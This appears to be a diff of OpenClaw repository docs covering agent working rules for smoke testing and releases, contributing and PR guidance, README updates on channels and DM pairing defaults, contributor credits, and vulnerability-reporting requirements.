- Use PowerShell only as the transport (`powershell.exe -NoProfile -ExecutionPolicy Bypass`) and call the `.cmd` shims explicitly from inside it.
- Harness output: pass `--json` for machine-readable summary; per-phase logs land under `/tmp/openclaw-parallels-windows.*`.
- Current expected outcome on latest stable pre-upgrade: `precheck=latest-ref-fail` is normal on `2026.3.12`; treat it as a baseline signal, not a regression, unless the post-upgrade `main` lane also fails.
- Keep Windows onboarding/status text ASCII-clean in logs. Fancy punctuation in banners shows up as mojibake through the current guest PowerShell capture path.
- Parallels Linux smoke playbook:
- Preferred automation entrypoint: `pnpm test:parallels:linux`. It restores the snapshot most closely matching `fresh` on `Ubuntu 24.04.3 ARM64`, serves the current `main` tarball from the host, then runs fresh-install and latest-release-to-main smoke lanes.
- Use plain `prlctl exec` on this snapshot. `--current-user` is not the right transport there.
- Fresh snapshot reality: `curl` is missing and `apt-get update` can fail on clock skew. Bootstrap with `apt-get -o Acquire::Check-Date=false update` and install `curl ca-certificates` before testing installer paths.
- Fresh `main` tgz smoke on Linux still needs the latest-release installer first, because this snapshot has no Node/npm before bootstrap. The harness does stable bootstrap first, then overlays current `main`.
- This snapshot does not have a usable `systemd --user` session. Treat managed daemon install as unsupported here; use `--skip-health`, then verify with direct `openclaw gateway run --bind loopback --port 18789 --force`.
- Env-backed auth refs are still fine, but any direct shell launch (`openclaw gateway run`, `openclaw agent --local`, Linux `gateway status --deep` against that direct run) must inherit the referenced env vars in the same shell.
-`prlctl exec` reaps detached Linux child processes on this snapshot, so a background `openclaw gateway run` launched from automation is not a trustworthy smoke path. The harness verifies installer + `agent --local`; do direct gateway checks only from an interactive guest shell when needed.
- When you do run Linux gateway checks manually from an interactive guest shell, use `openclaw gateway status --deep --require-rpc` so an RPC miss is a hard failure.
- Prefer direct argv guest commands for fetch/install steps (`curl`, `npm install -g`, `openclaw ...`) over nested `bash -lc` quoting; Linux guest quoting through Parallels was the flaky part.
- Harness output: pass `--json` for machine-readable summary; per-phase logs land under `/tmp/openclaw-parallels-linux.*`.
- Current expected outcome on Linux smoke: fresh + upgrade should pass installer and `agent --local`; gateway remains `skipped-no-detached-linux-gateway` on this snapshot and should not be treated as a regression by itself.
- Never edit `node_modules` (global/Homebrew/npm/git installs too). Updates overwrite. Skill notes go in `tools.md` or `AGENTS.md`.
- When adding a new `AGENTS.md` anywhere in the repo, also add a `CLAUDE.md` symlink pointing to it (example: `ln -s AGENTS.md CLAUDE.md`).
- Signal: "update fly" => `fly ssh console -a flawd-bot -C "bash -lc 'cd /data/clawd/openclaw && git pull --rebase origin main'"` then `fly machines restart e825232f34d058 -a flawd-bot`.
- When working on a GitHub Issue or PR, print the full URL at the end of the task.
- When answering questions, respond with high-confidence answers only: verify in code; do not guess.
@@ -147,13 +263,13 @@
- If shared guardrails are available locally, review them; otherwise follow this repo's guidance.
- SwiftUI state management (iOS/macOS): prefer the `Observation` framework (`@Observable`, `@Bindable`) over `ObservableObject`/`@StateObject`; don’t introduce new `ObservableObject` unless required for compatibility, and migrate existing usages when touching related code.
- Connection providers: when adding a new connection, update every UI surface and docs (macOS app, web UI, mobile if applicable, onboarding/overview docs) and add matching status + configuration forms so provider lists and settings stay in sync.
- "Bump version everywhere" means all version locations above **except**`appcast.xml` (only touch appcast when cutting a new macOS Sparkle release).
- **Restart apps:** “restart iOS/Android apps” means rebuild (recompile/install) and relaunch, not just kill/launch.
- **Device checks:** before testing, verify connected real devices (iOS/Android) before reaching for simulators/emulators.
- iOS Team ID lookup: `security find-identity -p codesigning -v` → use Apple Development (…) TEAMID. Fallback: `defaults read com.apple.dt.Xcode IDEProvisioningTeamIdentifiers`.
- A2UI bundle hash: `src/canvas-host/a2ui/.bundle.hash` is auto-generated; ignore unexpected changes, and only regenerate via `pnpm canvas:a2ui:bundle` (or `scripts/bundle-a2ui.sh`) when needed. Commit the hash as a separate commit.
- Release signing/notary keys are managed outside the repo; follow internal release docs.
- Notary auth env vars (`APP_STORE_CONNECT_ISSUER_ID`, `APP_STORE_CONNECT_KEY_ID`, `APP_STORE_CONNECT_API_KEY_P8`) are expected in your environment (per internal release docs).
- Release signing/notary credentials are managed outside the repo; maintainers keep that setup in the private [maintainer release docs](https://github.com/openclaw/maintainers/tree/main/release).
- **Multi-agent safety:** do **not** create/apply/drop `git stash` entries unless explicitly requested (this includes `git pull --rebase --autostash`). Assume other agents may be working; keep unrelated WIP untouched and avoid cross-cutting state changes.
- **Multi-agent safety:** when the user says "push", you may `git pull --rebase` to integrate latest changes (never discard other agents' work). When the user says "commit", scope to your changes only. When the user says "commit all", commit everything in grouped chunks.
- launchd PATH is minimal; ensure the app’s launch agent PATH includes standard system paths plus your pnpm bin (typically `$HOME/Library/pnpm`) so `pnpm`/`openclaw` binaries resolve when invoked via `openclaw-mac`.
- For manual `openclaw message send` messages that include `!`, use the heredoc pattern noted below to avoid the Bash tool’s escaping.
- Release guardrails: do not change version numbers without operator’s explicit consent; always ask permission before running any npm publish/release step.
- Beta release guardrail: when using a beta Git tag (for example `vYYYY.M.D-beta.N`), publish npm with a matching beta version suffix (for example `YYYY.M.D-beta.N`) rather than a plain version on `--tag beta`; otherwise the plain version name gets consumed/blocked.
## NPM + 1Password (publish/verify)
## Release Auth
-Use the 1password skill; all `op` commands must run inside a fresh tmux session.
-Maintainers: private 1Password item names, tmux rules, plugin publish helpers, and local mac signing/notary setup live in the private [maintainer release docs](https://github.com/openclaw/maintainers/blob/main/release/README.md).
## Changelog Release Notes
- When cutting a mac release with beta GitHub prerelease:
- Tag `vYYYY.M.D-beta.N` from the release commit (example: `v2026.2.15-beta.1`).
- Create prerelease with title `openclaw YYYY.M.D-beta.N`.
- Use release notes from `CHANGELOG.md` version section (`Changes` + `Fixes`, no title duplicate).
- Attach at least `OpenClaw-YYYY.M.D.zip` and `OpenClaw-YYYY.M.D.dSYM.zip`; include `.dmg` if available.
- Keep top version entries in `CHANGELOG.md` sorted by impact:
-`### Changes` first.
-`### Fixes` deduped and ranked with user-facing fixes first.
- Before tagging/publishing, run:
-`node --import tsx scripts/release-check.ts`
-`pnpm release:check`
-`pnpm test:install:smoke` or `OPENCLAW_INSTALL_SMOKE_SKIP_NONROOT=1 pnpm test:install:smoke` for non-root smoke path.
-For extension/plugin changes, run the fast local lane first:
-`pnpm test:extension <extension-name>`
- If you changed shared plugin or channel surfaces, still run the broader relevant lanes (`pnpm test:extensions`, `pnpm test:channels`, or `pnpm test`) before asking for review
- If you have access to Codex, run `codex review --base origin/main` locally before opening or updating your PR. Treat this as the current highest standard of AI review, even if GitHub Codex review also runs.
- Ensure CI checks pass
- Keep PRs focused (one thing per PR; do not mix unrelated concerns)
- Describe what & why
- Reply to or resolve bot review conversations you addressed before asking for review again
- **Include screenshots** — one showing the problem/before, one showing the fix/after (for UI or visual changes)
- Use American English spelling and grammar in code, comments, docs, and UI strings
- Do not edit files covered by `CODEOWNERS` security ownership unless a listed owner explicitly asked for the change or is already reviewing it with you. Treat those paths as restricted review surfaces, not opportunistic cleanup targets.
## Review Conversations Are Author-Owned
If a review bot leaves review conversations on your PR, you are expected to handle the follow-through:
- Resolve the conversation yourself once the code or explanation fully addresses the bot's concern
- Reply and leave it open only when you need maintainer or reviewer judgment
- Do not leave "fixed" bot review conversations for maintainers to clean up for you
- If Codex leaves comments, address every relevant one or resolve it with a short explanation when it is not applicable to your change
- If GitHub Codex review does not trigger for some reason, run `codex review --base origin/main` locally anyway and treat that output as required review work
This applies to both human-authored and AI-assisted PRs.
## Control UI Decorators
@@ -63,8 +138,10 @@ Please include in your PR:
- [ ] Note the degree of testing (untested / lightly tested / fully tested)
- [ ] Include prompts or session logs if possible (super helpful!)
- [ ] Confirm you understand what the code does
- [ ] If you have access to Codex, run `codex review --base origin/main` locally and address the findings before asking for review
- [ ] Resolve or reply to bot review conversations after you address them
AI PRs are first-class citizens here. We just want transparency so reviewers know what to look for.
AI PRs are first-class citizens here. We just want transparency so reviewers know what to look for. If you are using an LLM coding agent, instruct it to resolve bot review conversations it has addressed instead of leaving them for maintainers.
## Current Focus & Roadmap 🗺
@@ -72,7 +149,53 @@ We are currently prioritizing:
- **Stability**: Fixing edge cases in channel connections (WhatsApp/Telegram).
- **UX**: Improving the onboarding wizard and error messages.
- **Skills**: Expanding the library of bundled skills and improving the Skill Creation developer experience.
- **Skills**: For skill contributions, head to [ClawHub](https://clawhub.ai/) — the community hub for OpenClaw skills.
- **Performance**: Optimizing token usage and compaction logic.
Check the [GitHub Issues](https://github.com/openclaw/openclaw/issues) for "good first issue" labels!
## Maintainers
We're selectively expanding the maintainer team.
If you're an experienced contributor who wants to help shape OpenClaw's direction — whether through code, docs, or community — we'd like to hear from you.
Being a maintainer is a responsibility, not an honorary title. We expect active, consistent involvement — triaging issues, reviewing PRs, and helping move the project forward.
Still interested? Email contributing@openclaw.ai with:
- Links to your PRs on OpenClaw (if you don't have any, start there first)
- Links to open source projects you maintain or actively contribute to
- Your GitHub, Discord, and X/Twitter handles
- A brief intro: background, experience, and areas of interest
- Languages you speak and where you're based
- How much time you can realistically commit
We welcome people across all skill sets — engineering, documentation, community management, and more.
We review every human-only-written application carefully and add maintainers slowly and deliberately.
Please allow a few weeks for a response.
## Report a Vulnerability
We take security reports seriously. Report vulnerabilities directly to the repository where the issue lives:
- **Core CLI and gateway** — [openclaw/openclaw](https://github.com/openclaw/openclaw)
- **Trust and threat model** — [openclaw/trust](https://github.com/openclaw/trust)
For issues that don't fit a specific repo, or if you're unsure, email **security@openclaw.ai** and we'll route it.
### Required in Reports
1.**Title**
2.**Severity Assessment**
3.**Impact**
4.**Affected Component**
5.**Technical Reproduction**
6.**Demonstrated Impact**
7.**Environment**
8.**Remediation Advice**
Reports without reproduction steps, demonstrated impact, and remediation advice will be deprioritized. Given the volume of AI-generated scanner findings, we must ensure we're receiving vetted reports from researchers who understand the issues.
**OpenClaw** is a _personal AI assistant_ you run on your own devices.
It answers you on the channels you already use (WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, iMessage, Microsoft Teams, WebChat), plus extension channels like BlueBubbles, Matrix, Zalo, and Zalo Personal. It can speak and listen on macOS/iOS/Android, and can render a live Canvas you control. The Gateway is just the control plane — the product is the assistant.
It answers you on the channels you already use (WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, iMessage, BlueBubbles, IRC, Microsoft Teams, Matrix, Feishu, LINE, Mattermost, Nextcloud Talk, Nostr, Synology Chat, Tlon, Twitch, Zalo, Zalo Personal, WebChat). It can speak and listen on macOS/iOS/Android, and can render a live Canvas you control. The Gateway is just the control plane — the product is the assistant.
If you want a personal, single-user assistant that feels local, fast, and always-on, this is it.
Preferred setup: run the onboarding wizard (`openclaw onboard`). It walks through gateway, workspace, channels, and skills. The CLI wizard is the recommended path and works on **macOS, Linux, and Windows (via WSL2; strongly recommended)**.
Preferred setup: run the onboarding wizard (`openclaw onboard`) in your terminal.
The wizard guides you step by step through setting up the gateway, workspace, channels, and skills. The CLI wizard is the recommended path and works on **macOS, Linux, and Windows (via WSL2; strongly recommended)**.
Works with npm, pnpm, or bun.
New install? Start here: [Getting started](https://docs.openclaw.ai/start/getting-started)
Model note: while any model is supported, I strongly recommend **Anthropic Pro/Max (100/200) + Opus 4.6** for long‑context strength and better prompt‑injection resistance. See [Onboarding](https://docs.openclaw.ai/start/onboarding).
Model note: while many providers/models are supported, for the best experience and lower prompt-injection risk use the strongest latest-generation model available to you. See [Onboarding](https://docs.openclaw.ai/start/onboarding).
openclaw message send --to +1234567890 --message "Hello from OpenClaw"
# Talk to the assistant (optionally deliver back to any connected channel: WhatsApp/Telegram/Slack/Discord/Google Chat/Signal/iMessage/BlueBubbles/Microsoft Teams/Matrix/Zalo/Zalo Personal/WebChat)
# Talk to the assistant (optionally deliver back to any connected channel: WhatsApp/Telegram/Slack/Discord/Google Chat/Signal/iMessage/BlueBubbles/IRC/Microsoft Teams/Matrix/Feishu/LINE/Mattermost/Nextcloud Talk/Nostr/Synology Chat/Tlon/Twitch/Zalo/Zalo Personal/WebChat)
openclaw agent --message "Ship checklist" --thinking high
```
@@ -97,7 +103,7 @@ pnpm build
pnpm openclaw onboard --install-daemon
# Dev loop (auto-reload on TS changes)
# Dev loop (auto-reload on source/config changes)
pnpm gateway:watch
```
@@ -111,18 +117,18 @@ Full security guide: [Security](https://docs.openclaw.ai/gateway/security)
Default behavior on Telegram/WhatsApp/Signal/iMessage/Microsoft Teams/Discord/Google Chat/Slack:
- **DM pairing** (`dmPolicy="pairing"` / `channels.discord.dm.policy="pairing"` / `channels.slack.dm.policy="pairing"`): unknown senders receive a short pairing code and the bot does not process their message.
- **DM pairing** (`dmPolicy="pairing"` / `channels.discord.dmPolicy="pairing"` / `channels.slack.dmPolicy="pairing"`; legacy: `channels.discord.dm.policy`, `channels.slack.dm.policy`): unknown senders receive a short pairing code and the bot does not process their message.
- Approve with: `openclaw pairing approve <channel> <code>` (then the sender is added to a local allowlist store).
- Public inbound DMs require an explicit opt-in: set `dmPolicy="open"` and include `"*"` in the channel allowlist (`allowFrom` / `channels.discord.dm.allowFrom` / `channels.slack.dm.allowFrom`).
- Public inbound DMs require an explicit opt-in: set `dmPolicy="open"` and include `"*"` in the channel allowlist (`allowFrom` / `channels.discord.allowFrom` /`channels.slack.allowFrom`; legacy: `channels.discord.dm.allowFrom`,`channels.slack.dm.allowFrom`).
Run `openclaw doctor` to surface risky/misconfigured DM policies.
## Highlights
- **[Local-first Gateway](https://docs.openclaw.ai/gateway)** — single control plane for sessions, channels, tools, and events.
- **[Voice Wake](https://docs.openclaw.ai/nodes/voicewake) + [Talk Mode](https://docs.openclaw.ai/nodes/talk)** — always-on speech for macOS/iOS/Android with ElevenLabs.
- **[Voice Wake](https://docs.openclaw.ai/nodes/voicewake) + [Talk Mode](https://docs.openclaw.ai/nodes/talk)** — wake words on macOS/iOS and continuous voice on Android (ElevenLabs + system TTS fallback).
- **[Live Canvas](https://docs.openclaw.ai/platforms/mac/canvas)** — agent-driven visual workspace with [A2UI](https://docs.openclaw.ai/platforms/mac/canvas#canvas-a2ui).
- **[Companion apps](https://docs.openclaw.ai/platforms/macos)** — macOS menu bar app + iOS/Android [nodes](https://docs.openclaw.ai/nodes).
@@ -139,19 +145,19 @@ Run `openclaw doctor` to surface risky/misconfigured DM policies.
- [Gateway WS control plane](https://docs.openclaw.ai/gateway) with sessions, presence, config, cron, webhooks, [Control UI](https://docs.openclaw.ai/web), and [Canvas host](https://docs.openclaw.ai/platforms/mac/canvas#canvas-a2ui).
- [CLI surface](https://docs.openclaw.ai/tools/agent-send): gateway, agent, send, [wizard](https://docs.openclaw.ai/start/wizard), and [doctor](https://docs.openclaw.ai/gateway/doctor).
- [Pi agent runtime](https://docs.openclaw.ai/concepts/agent) in RPC mode with tool streaming and block streaming.
- [Session model](https://docs.openclaw.ai/concepts/session): `main` for direct chats, group isolation, activation modes, queue modes, reply-back. Group rules: [Groups](https://docs.openclaw.ai/concepts/groups).
- [Session model](https://docs.openclaw.ai/concepts/session): `main` for direct chats, group isolation, activation modes, queue modes, reply-back. Group rules: [Groups](https://docs.openclaw.ai/channels/groups).
- **[Voice Wake](https://docs.openclaw.ai/nodes/voicewake) + [Talk Mode](https://docs.openclaw.ai/nodes/talk)** — wake words on macOS/iOS plus continuous voice on Android.
- **[Nodes](https://docs.openclaw.ai/nodes)** — Canvas, camera snap/clip, screen record, `location.get`, notifications, plus macOS‑only `system.run`/`system.notify`.
## Tailscale access (Gateway dashboard)
@@ -291,7 +297,7 @@ Note: signed builds required for macOS permissions to stick across rebuilds (see
### iOS node (optional)
- Pairs as a node via the Bridge.
- Pairs as a node over the Gateway WebSocket (device pairing).
- Set `DISCORD_BOT_TOKEN` or `channels.discord.token` (env wins).
- Optional: set `commands.native`, `commands.text`, or `commands.useAccessGroups`, plus `channels.discord.dm.allowFrom`, `channels.discord.guilds`, or `channels.discord.mediaMaxMb` as needed.
- Optional: set `commands.native`, `commands.text`, or `commands.useAccessGroups`, plus `channels.discord.allowFrom`, `channels.discord.guilds`, or `channels.discord.mediaMaxMb` as needed.
```json5
{
@@ -496,49 +502,58 @@ Special thanks to Adam Doppelt for lobster.bot.
<ahref="https://github.com/joeynyc"><imgsrc="https://avatars.githubusercontent.com/u/17919866?v=4&s=48"width="48"height="48"alt="joeynyc"title="joeynyc"/></a><ahref="https://github.com/orlyjamie"><imgsrc="https://avatars.githubusercontent.com/u/6668807?v=4&s=48"width="48"height="48"alt="orlyjamie"title="orlyjamie"/></a><ahref="https://github.com/dbhurley"><imgsrc="https://avatars.githubusercontent.com/u/5251425?v=4&s=48"width="48"height="48"alt="dbhurley"title="dbhurley"/></a><ahref="https://github.com/omniwired"><imgsrc="https://avatars.githubusercontent.com/u/322761?v=4&s=48"width="48"height="48"alt="Eng. Juan Combetto"title="Eng. Juan Combetto"/></a><ahref="https://github.com/TSavo"><imgsrc="https://avatars.githubusercontent.com/u/877990?v=4&s=48"width="48"height="48"alt="TSavo"title="TSavo"/></a><ahref="https://github.com/aerolalit"><imgsrc="https://avatars.githubusercontent.com/u/17166039?v=4&s=48"width="48"height="48"alt="aerolalit"title="aerolalit"/></a><ahref="https://github.com/julianengel"><imgsrc="https://avatars.githubusercontent.com/u/10634231?v=4&s=48"width="48"height="48"alt="julianengel"title="julianengel"/></a><ahref="https://github.com/bradleypriest"><imgsrc="https://avatars.githubusercontent.com/u/167215?v=4&s=48"width="48"height="48"alt="bradleypriest"title="bradleypriest"/></a><ahref="https://github.com/benithors"><imgsrc="https://avatars.githubusercontent.com/u/20652882?v=4&s=48"width="48"height="48"alt="benithors"title="benithors"/></a><ahref="https://github.com/lsh411"><imgsrc="https://avatars.githubusercontent.com/u/6801488?v=4&s=48"width="48"height="48"alt="lsh411"title="lsh411"/></a>
<ahref="https://github.com/Yeom-JinHo"><imgsrc="https://avatars.githubusercontent.com/u/81306489?v=4&s=48"width="48"height="48"alt="Yeom-JinHo"title="Yeom-JinHo"/></a><ahref="https://github.com/doodlewind"><imgsrc="https://avatars.githubusercontent.com/u/7312949?v=4&s=48"width="48"height="48"alt="doodlewind"title="doodlewind"/></a><ahref="https://github.com/dougvk"><imgsrc="https://avatars.githubusercontent.com/u/401660?v=4&s=48"width="48"height="48"alt="dougvk"title="dougvk"/></a><ahref="https://github.com/erikpr1994"><imgsrc="https://avatars.githubusercontent.com/u/6299331?v=4&s=48"width="48"height="48"alt="erikpr1994"title="erikpr1994"/></a><ahref="https://github.com/fal3"><imgsrc="https://avatars.githubusercontent.com/u/6484295?v=4&s=48"width="48"height="48"alt="fal3"title="fal3"/></a><ahref="https://github.com/search?q=Ghost"><imgsrc="assets/avatar-placeholder.svg"width="48"height="48"alt="Ghost"title="Ghost"/></a><ahref="https://github.com/hyf0-agent"><imgsrc="https://avatars.githubusercontent.com/u/258783736?v=4&s=48"width="48"height="48"alt="hyf0-agent"title="hyf0-agent"/></a><ahref="https://github.com/jonasjancarik"><imgsrc="https://avatars.githubusercontent.com/u/2459191?v=4&s=48"width="48"height="48"alt="jonasjancarik"title="jonasjancarik"/></a><ahref="https://github.com/search?q=Keith%20the%20Silly%20Goose"><imgsrc="assets/avatar-placeholder.svg"width="48"height="48"alt="Keith the Silly Goose"title="Keith the Silly Goose"/></a><ahref="https://github.com/search?q=L36%20Server"><imgsrc="assets/avatar-placeholder.svg"width="48"height="48"alt="L36 Server"title="L36 Server"/></a>
<ahref="https://github.com/Iamadig"><imgsrc="https://avatars.githubusercontent.com/u/102129234?v=4&s=48"width="48"height="48"alt="iamadig"title="iamadig"/></a><ahref="https://github.com/itsjling"><imgsrc="https://avatars.githubusercontent.com/u/2521993?v=4&s=48"width="48"height="48"alt="itsjling"title="itsjling"/></a><ahref="https://github.com/jdrhyne"><imgsrc="https://avatars.githubusercontent.com/u/7828464?v=4&s=48"width="48"height="48"alt="Jonathan D. Rhyne (DJ-D)"title="Jonathan D. Rhyne (DJ-D)"/></a><ahref="https://github.com/search?q=Joshua%20Mitchell"><imgsrc="assets/avatar-placeholder.svg"width="48"height="48"alt="Joshua Mitchell"title="Joshua Mitchell"/></a><ahref="https://github.com/kelvinCB"><imgsrc="https://avatars.githubusercontent.com/u/50544379?v=4&s=48"width="48"height="48"alt="kelvinCB"title="kelvinCB"/></a><ahref="https://github.com/search?q=Kit"><imgsrc="assets/avatar-placeholder.svg"width="48"height="48"alt="Kit"title="Kit"/></a><ahref="https://github.com/koala73"><imgsrc="https://avatars.githubusercontent.com/u/996596?v=4&s=48"width="48"height="48"alt="koala73"title="koala73"/></a><ahref="https://github.com/manmal"><imgsrc="https://avatars.githubusercontent.com/u/142797?v=4&s=48"width="48"height="48"alt="manmal"title="manmal"/></a><ahref="https://github.com/mattqdev"><imgsrc="https://avatars.githubusercontent.com/u/115874885?v=4&s=48"width="48"height="48"alt="mattqdev"title="mattqdev"/></a><ahref="https://github.com/mitsuhiko"><imgsrc="https://avatars.githubusercontent.com/u/7396?v=4&s=48"width="48"height="48"alt="mitsuhiko"title="mitsuhiko"/></a>
<ahref="https://github.com/search?q=Mustafa%20Tag%20Eldeen"><imgsrc="assets/avatar-placeholder.svg"width="48"height="48"alt="Mustafa Tag Eldeen"title="Mustafa Tag Eldeen"/></a><ahref="https://github.com/mylukin"><imgsrc="https://avatars.githubusercontent.com/u/1021019?v=4&s=48"width="48"height="48"alt="mylukin"title="mylukin"/></a><ahref="https://github.com/nathanbosse"><imgsrc="https://avatars.githubusercontent.com/u/4040669?v=4&s=48"width="48"height="48"alt="nathanbosse"title="nathanbosse"/></a><ahref="https://github.com/ndraiman"><imgsrc="https://avatars.githubusercontent.com/u/12609607?v=4&s=48"width="48"height="48"alt="ndraiman"title="ndraiman"/></a><ahref="https://github.com/nexty5870"><imgsrc="https://avatars.githubusercontent.com/u/3869659?v=4&s=48"width="48"height="48"alt="nexty5870"title="nexty5870"/></a><ahref="https://github.com/Noctivoro"><imgsrc="https://avatars.githubusercontent.com/u/183974570?v=4&s=48"width="48"height="48"alt="Noctivoro"title="Noctivoro"/></a><ahref="https://github.com/Omar-Khaleel"><imgsrc="https://avatars.githubusercontent.com/u/240748662?v=4&s=48"width="48"height="48"alt="Omar-Khaleel"title="Omar-Khaleel"/></a><ahref="https://github.com/ozgur-polat"><imgsrc="https://avatars.githubusercontent.com/u/26483942?v=4&s=48"width="48"height="48"alt="ozgur-polat"title="ozgur-polat"/></a><ahref="https://github.com/ppamment"><imgsrc="https://avatars.githubusercontent.com/u/2122919?v=4&s=48"width="48"height="48"alt="ppamment"title="ppamment"/></a><ahref="https://github.com/prathamdby"><imgsrc="https://avatars.githubusercontent.com/u/134331217?v=4&s=48"width="48"height="48"alt="prathamdby"title="prathamdby"/></a>
<ahref="https://github.com/YuzuruS"><imgsrc="https://avatars.githubusercontent.com/u/1485195?v=4&s=48"width="48"height="48"alt="YuzuruS"title="YuzuruS"/></a><ahref="https://github.com/riccardogiorato"><imgsrc="https://avatars.githubusercontent.com/u/4527364?v=4&s=48"width="48"height="48"alt="riccardogiorato"title="riccardogiorato"/></a><ahref="https://github.com/Bridgerz"><imgsrc="https://avatars.githubusercontent.com/u/24499532?v=4&s=48"width="48"height="48"alt="Bridgerz"title="Bridgerz"/></a><ahref="https://github.com/Mrseenz"><imgsrc="https://avatars.githubusercontent.com/u/101962919?v=4&s=48"width="48"height="48"alt="Mrseenz"title="Mrseenz"/></a><ahref="https://github.com/buddyh"><imgsrc="https://avatars.githubusercontent.com/u/31752869?v=4&s=48"width="48"height="48"alt="buddyh"title="buddyh"/></a><ahref="https://github.com/omniwired"><imgsrc="https://avatars.githubusercontent.com/u/322761?v=4&s=48"width="48"height="48"alt="Eng. Juan Combetto"title="Eng. Juan Combetto"/></a><ahref="https://github.com/peschee"><imgsrc="https://avatars.githubusercontent.com/u/63866?v=4&s=48"width="48"height="48"alt="peschee"title="peschee"/></a><ahref="https://github.com/cash-echo-bot"><imgsrc="https://avatars.githubusercontent.com/u/252747386?v=4&s=48"width="48"height="48"alt="cash-echo-bot"title="cash-echo-bot"/></a><ahref="https://github.com/jalehman"><imgsrc="https://avatars.githubusercontent.com/u/550978?v=4&s=48"width="48"height="48"alt="jalehman"title="jalehman"/></a><ahref="https://github.com/zknicker"><imgsrc="https://avatars.githubusercontent.com/u/1164085?v=4&s=48"width="48"height="48"alt="zknicker"title="zknicker"/></a>
<ahref="https://github.com/mitchmcalister"><imgsrc="https://avatars.githubusercontent.com/u/209334?v=4&s=48"width="48"height="48"alt="mitchmcalister"title="mitchmcalister"/></a><ahref="https://github.com/pvoo"><imgsrc="https://avatars.githubusercontent.com/u/20116814?v=4&s=48"width="48"height="48"alt="Paul van Oorschot"title="Paul van Oorschot"/></a><ahref="https://github.com/guxu11"><imgsrc="https://avatars.githubusercontent.com/u/53551744?v=4&s=48"width="48"height="48"alt="Xu Gu"title="Xu Gu"/></a><ahref="https://github.com/lml2468"><imgsrc="https://avatars.githubusercontent.com/u/39320777?v=4&s=48"width="48"height="48"alt="Menglin Li"title="Menglin Li"/></a><ahref="https://github.com/artuskg"><imgsrc="https://avatars.githubusercontent.com/u/11966157?v=4&s=48"width="48"height="48"alt="artuskg"title="artuskg"/></a><ahref="https://github.com/jackheuberger"><imgsrc="https://avatars.githubusercontent.com/u/7830838?v=4&s=48"width="48"height="48"alt="jackheuberger"title="jackheuberger"/></a><ahref="https://github.com/imfing"><imgsrc="https://avatars.githubusercontent.com/u/5097752?v=4&s=48"width="48"height="48"alt="imfing"title="imfing"/></a><ahref="https://github.com/superman32432432"><imgsrc="https://avatars.githubusercontent.com/u/7228420?v=4&s=48"width="48"height="48"alt="superman32432432"title="superman32432432"/></a><ahref="https://github.com/Syhids"><imgsrc="https://avatars.githubusercontent.com/u/671202?v=4&s=48"width="48"height="48"alt="Syhids"title="Syhids"/></a><ahref="https://github.com/Zitzak"><imgsrc="https://avatars.githubusercontent.com/u/43185740?v=4&s=48"width="48"height="48"alt="Marvin"title="Marvin"/></a>
<ahref="https://github.com/OscarMinjarez"><imgsrc="https://avatars.githubusercontent.com/u/86080038?v=4&s=48"width="48"height="48"alt="OscarMinjarez"title="OscarMinjarez"/></a><ahref="https://github.com/claude"><imgsrc="https://avatars.githubusercontent.com/u/81847?v=4&s=48"width="48"height="48"alt="claude"title="claude"/></a><ahref="https://github.com/Alg0rix"><imgsrc="https://avatars.githubusercontent.com/u/53804949?v=4&s=48"width="48"height="48"alt="Alg0rix"title="Alg0rix"/></a><ahref="https://github.com/L-U-C-K-Y"><imgsrc="https://avatars.githubusercontent.com/u/14868134?v=4&s=48"width="48"height="48"alt="Lucky"title="Lucky"/></a><ahref="https://github.com/Kepler2024"><imgsrc="https://avatars.githubusercontent.com/u/166882517?v=4&s=48"width="48"height="48"alt="Harry Cui Kepler"title="Harry Cui Kepler"/></a><ahref="https://github.com/h0tp-ftw"><imgsrc="https://avatars.githubusercontent.com/u/141889580?v=4&s=48"width="48"height="48"alt="h0tp-ftw"title="h0tp-ftw"/></a><ahref="https://github.com/Youyou972"><imgsrc="https://avatars.githubusercontent.com/u/50808411?v=4&s=48"width="48"height="48"alt="Youyou972"title="Youyou972"/></a><ahref="https://github.com/dominicnunez"><imgsrc="https://avatars.githubusercontent.com/u/43616264?v=4&s=48"width="48"height="48"alt="Dominic"title="Dominic"/></a><ahref="https://github.com/danielwanwx"><imgsrc="https://avatars.githubusercontent.com/u/144515713?v=4&s=48"width="48"height="48"alt="danielwanwx"title="danielwanwx"/></a><ahref="https://github.com/0xJonHoldsCrypto"><imgsrc="https://avatars.githubusercontent.com/u/81202085?v=4&s=48"width="48"height="48"alt="0xJonHoldsCrypto"title="0xJonHoldsCrypto"/></a>
<ahref="https://github.com/erik-agens"><imgsrc="https://avatars.githubusercontent.com/u/80908960?v=4&s=48"width="48"height="48"alt="erik-agens"title="erik-agens"/></a><ahref="https://github.com/odnxe"><imgsrc="https://avatars.githubusercontent.com/u/403141?v=4&s=48"width="48"height="48"alt="odnxe"title="odnxe"/></a><ahref="https://github.com/T5-AndyML"><imgsrc="https://avatars.githubusercontent.com/u/22801233?v=4&s=48"width="48"height="48"alt="T5-AndyML"title="T5-AndyML"/></a><ahref="https://github.com/j1philli"><imgsrc="https://avatars.githubusercontent.com/u/3744255?v=4&s=48"width="48"height="48"alt="Josh Phillips"title="Josh Phillips"/></a><ahref="https://github.com/mujiannan"><imgsrc="https://avatars.githubusercontent.com/u/46643837?v=4&s=48"width="48"height="48"alt="mujiannan"title="mujiannan"/></a><ahref="https://github.com/marcodd23"><imgsrc="https://avatars.githubusercontent.com/u/3519682?v=4&s=48"width="48"height="48"alt="Marco Di Dionisio"title="Marco Di Dionisio"/></a><ahref="https://github.com/RandyVentures"><imgsrc="https://avatars.githubusercontent.com/u/149904821?v=4&s=48"width="48"height="48"alt="Randy Torres"title="Randy Torres"/></a><ahref="https://github.com/afern247"><imgsrc="https://avatars.githubusercontent.com/u/34192856?v=4&s=48"width="48"height="48"alt="afern247"title="afern247"/></a><ahref="https://github.com/0oAstro"><imgsrc="https://avatars.githubusercontent.com/u/79555780?v=4&s=48"width="48"height="48"alt="0oAstro"title="0oAstro"/></a><ahref="https://github.com/alexanderatallah"><imgsrc="https://avatars.githubusercontent.com/u/1011391?v=4&s=48"width="48"height="48"alt="alexanderatallah"title="alexanderatallah"/></a>
- **Trust and threat model** — [openclaw/trust](https://github.com/openclaw/trust)
For issues that don't fit a specific repo, or if you're unsure, email **[security@openclaw.ai](mailto:security@openclaw.ai)** and we'll route it.
For full reporting instructions see our [Trust page](https://trust.openclaw.ai).
### Required in Reports
1.**Title**
2.**Severity Assessment**
3.**Impact**
4.**Affected Component**
5.**Technical Reproduction**
6.**Demonstrated Impact**
7.**Environment**
8.**Remediation Advice**
